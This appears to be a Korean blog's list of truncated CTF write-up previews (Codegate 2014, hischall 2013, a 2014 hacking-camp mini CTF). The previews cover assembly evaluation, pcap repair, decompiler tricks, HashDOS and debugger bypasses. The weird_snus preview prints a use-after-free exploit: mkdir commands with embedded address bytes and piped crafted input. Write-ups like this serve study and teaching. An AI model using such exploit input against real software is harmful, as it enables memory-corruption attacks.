writeup 12

yamyam (explanation, code)

서버에 netcat으로 TCP연결을 하면 x64면서 인텔 문법으로 되어있는 어셈블리를 줍니다.그 다음 RAX값이 뭐냐고 물어봅니다. 그 명령들을 실행한 후의 RAX값을 물어보고 있죠.그냥 앞 뒤에 적당한 코드를 붙인 후 직접 컴파일하고 실행하도록 했습니다. 아 참, 그리고 요청이 이렇게 와요. (stage)Eunji Say: yam yamSTAGE 1mov QWORD PTR [rbp-0x8],0x306mov DWORD PTR [rbp-0x14],0x372mov DWORD PTR [rbp-0x10],0x317mov DWORD PTR [rbp-0xc],0x10dmov eax,DWORD PTR [rbp-0x14]imul edx,eax,0x79mov eax,DWORD PTR [rbp-0x10]imul eax,D..

Codegate 2014 weird_snus 풀이

2위 브릭쓰루찍어서 기분 좋은 문제.아주 간단한 UAF인데 인자를 조작하기위해서 스택을 띄우는 코드를 썼다. 익스플로잇은 아래와 같다.mkdir "/tmp/aaa"mkdir `python -c 'print "/tmp/aaa\xf0/"'`mkdir `python -c 'print "/tmp/aaa\xf0/\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08"'`(python -c 'print "\x00";print "hello";print "D";print("/tmp/aaa\xf0\x2f\x0f\x40\x38\x8c\x04\x08\x84\x95\x04\x08");print "A";print "M";print "G\x10\x00\x00\x00";print "A"';cat)|./weird_..

writeup 2014.02.25

Codegate 2014 weirdshark 포렌식 문제 풀이

.. 진짜 야매로 풀었는데 일단 이건 진짜 풀이다.http://maj3sty.tistory.com/1098 사실 파일에서 카빙만 잘해줘도 풀리고 아니면 직접 수정한다던지 그래줘도 풀리고 하겠지만, 대부분의 툴에서 여기서 제공된 pcap(ng)파일이 열리지 않는다. 난 이렇게 생각했다.pcapng를 복구해주는 프로그램이 있을거다.-> pcapfix라는 프로그램이 있고 pcapng도 지원한다.-> 써본다. 성공했지만 일단 와이어샤크에서 에러를 내고 안뜬다. pcap으로 변환하는 프로그램은 분명 있을거다.-> 그 프로그램에서는 헤더체크를 많이 할 필요가 없다. 코딩할때 얼마나 귀찮겠어. 그리고 pcap에 그 기능이 없을지도.-> 변환후 여니까 성공 .. :( pdf파일을 http로 전송하길래 그냥 추출했는데 ..

writeup 2014.02.24

hischall 2013 hatehexray 헥스레이 디컴파일이 안되는 이유 + 되게 하는 법

hischall 대회 2013년도 문제였던 hatehexray의 디컴파일법이 있는데요, 사실 그냥 테인트같은거 짜서 확인할수도 있지만 그냥 헥스레이를 되게 하는 방법으로 초점을 맞춰볼게요. x86 명령어에는 prefix라는게 있는데, 명령어 앞에 있어서 그 명령어에 대한 부가설명을 해줘요.0x00411EE0 에 들어가보면 db ~ 로 시작하는 부분이 있는데, 사실 prefix가 쓰이는 명령어가 따로 있어요.예를 들어 0x2E, 0x3E prefix는 branch prediction이라고 해서 조건 문에서 둘 중 하나의 경우에 비중을 둠으로서 CPU 성능을 향상시킬수 있다고 나와있고, gcc의 __builtin_expect라는 구문으로 쓸수 있어요. (c 표준은 아니고 리눅스 커널 보면 이런소스 많이 나오..

writeup 2014.02.20

2014 동계 해킴캠프 미니 CTF - 출제 실패한 문제

서버 상 문제로 출제가 안됬다고 들었습니다 ㅠㅠ 아쉽네요.이번 문제는 HashDOS 컨셉의 문제인데, HashDOS가 어떤 원리인지에 대한 문제입니다. 해시 테이블을 이용할 때 주의할 점은, 해시 충돌이 일어날 때 어떻게 처리할지, 그리고 해시값 연산의 속도에요.이번 문제의 컨셉은 "해시테이블 + 링크드 리스트" 에서 해시가 충돌할 때 HashDOS가 발생할 수 있다! 라는 컨셉이에요. 문제 자체를 강조하기 위해 코드는 제공하려고 했구요! 코드는 아래와 같아요.#include #include #include struct table { char *src; int len;}; struct linked { struct table *tb; struct linked *next;}; struct linked *ha..

2014 동계 해킹캠프 미니 CTF SleepSleepSleep 문제 풀이

strace ./SleepSleepSleep 으로 실행해보니까 nanosleep으로 30초나... 쉰다. 그냥 gdb로 보니까 sleep 함수 실행을 30초 하는 부분이 있다.귀찮으면 gdb 열고 이렇게 하면 된다. rCtrl+C를 누른다. 이러면 함수 주소가 로딩된다.b sleepry를 눌러서 강재 재실행 해준다.이제 sleep에 브릭포인트가 걸린다. Breakpoint 2, __sleep (seconds=0) at ../sysdeps/unix/sysv/linux/sleep.c:4242../sysdeps/unix/sysv/linux/sleep.c: No such file or directory. 이렇게 걸리면 이제 인자를 조작해주면 된다.몇번 더 걸리는데, 똑같이 해준다.set *($esp+4)=0(0..

2014 동계 해킹캠프 미니 CTF WinRev 풀이

대충 열어보면 Visual C++ 컴파일러로 컴파일한듯한 바이너리가 나온다.main함수를 습관적으로 찾다보면 0x4016B0이 나온다. 어떻게 찾나면, ExitProcess라는 함수가 맨 마지막에 호출되는데 이때 넣는 인수값이 "오류 코드"이다. 실행 후 %errorlevel% 환경변수로 쓰일 수 있는 값인데 여기 쓰이는 인자를 0x4016B0 함수에서 리턴한다. 이 함수를 main함수라 보면 된다.main함수는 인자가 이렇다. int argc, char *argv[], char *envp[]argc가 2인지 검사한 후 맞으면 argv[1] (첫번 째 인자이다) 값을 하나하나 비교하는데, 첫글자부터 0x77, 0x69, 0x73, 0x65, 0x4F랑 비교해서 틀릴때마다 nope 를 출력하고 끝낸다. 코..